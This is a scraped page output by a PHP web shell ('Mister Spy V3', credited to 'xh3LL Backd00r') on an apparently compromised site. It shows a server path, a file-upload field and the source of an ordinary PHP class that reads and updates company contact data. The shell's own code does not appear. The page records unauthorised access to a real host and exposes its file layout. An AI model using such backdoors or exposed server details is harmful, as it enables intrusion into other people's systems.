Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.datosempresa.php

<?php 

require_once('class.dbaccess.php');
require_once('class.datoempresa.php');

class DatosEmpresa extends DBAccess
{
	public function GetRow()
	{
		$sql = "SELECT d.*,";
		$sql.= " p.Nombre AS PaisNombre,";
		$sql.= " pr.Nombre AS ProvinciaNombre";
		$sql.= " FROM tblDatosEmpresa d";
		$sql.= " LEFT JOIN tblPaises p ON d.IdPais = p.IdPais";
		$sql.= " LEFT JOIN tblProvincias pr ON d.IdProvincia = pr.IdProvincia";
		$sql.= " LIMIT 1";
			
		if (!($oRes = $this->GetQuery($sql)))
			return false;
			
		if (!($oRow = $oRes->GetRow()))
			return false;
		
		$oDatoEmpresa = new DatoEmpresa();
		$oDatoEmpresa->ParseFromArray($oRow);
		
		return $oDatoEmpresa;
	}
	
	
	public function GetAllByProvincia(Provincia $oProvincia)
	{
		$arr = array();
	
		$sql = "SELECT *";
		$sql.= " FROM tblDatosEmpresa de";
		$sql.= " WHERE de.IdProvincia = " . DB::Number($oProvincia->IdProvincia);

		if (!($oRes = $this->GetQuery($sql)))
			return false;
					
		while ($oRow = $oRes->GetRow())	
		{	
			$oDatoEmpresa = new DatoEmpresa();
			$oDatoEmpresa->ParseFromArray($oRow);
			
			array_push($arr, $oDatoEmpresa);
			
			$oRes->MoveNext();
		}
		
		return $arr;
	}
	
	
	public function Update(DatoEmpresa $oDatoEmpresa)
	{	
		$arr = array
		(			
			'RazonSocial'			=> DB::String($oDatoEmpresa->RazonSocial),
			'CodigoAreaTelefono'	=> DB::String($oDatoEmpresa->CodigoAreaTelefono),
			'Telefono'				=> DB::String($oDatoEmpresa->Telefono),
			'CodigoAreaTelefono2'	=> DB::String($oDatoEmpresa->CodigoAreaTelefono2),
			'Telefono2'				=> DB::String($oDatoEmpresa->Telefono2),
			'CodigoAreaFax'			=> DB::String($oDatoEmpresa->CodigoAreaFax),
			'Fax'					=> DB::String($oDatoEmpresa->Fax),
			'Email'					=> DB::String($oDatoEmpresa->Email),
			'EmailContacto'			=> DB::String($oDatoEmpresa->EmailContacto),
			'EmailRegistro'			=> DB::String($oDatoEmpresa->EmailRegistro),
			'EmailCheckout'			=> DB::String($oDatoEmpresa->EmailCheckout),
			'DireccionCalle'		=> DB::String($oDatoEmpresa->DireccionCalle),
			'DireccionNumero'		=> DB::String($oDatoEmpresa->DireccionNumero),
			'DireccionPiso'			=> DB::String($oDatoEmpresa->DireccionPiso),
			'DireccionDepartamento'	=> DB::String($oDatoEmpresa->DireccionDepartamento),
			'IdPais'				=> DB::Number($oDatoEmpresa->IdPais),
			'IdProvincia'			=> DB::Number($oDatoEmpresa->IdProvincia),
			'Localidad'				=> DB::String($oDatoEmpresa->Localidad),
			'CodigoPostal'			=> DB::String($oDatoEmpresa->CodigoPostal),
			'PaginaWeb'				=> DB::String($oDatoEmpresa->PaginaWeb),
			'Logo'					=> DB::String($oDatoEmpresa->Logo),
			'SeoRubroEmpresa'		=> DB::String($oDatoEmpresa->SeoRubroEmpresa),
			'SeoNombreEmpresa'		=> DB::String($oDatoEmpresa->SeoNombreEmpresa)			
		);

		$where = '1';
		
		if (!DBAccess::UpdateEntidad('tblDatosEmpresa', $arr, $where))
			return false;
		
		return $oDatoEmpresa;
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat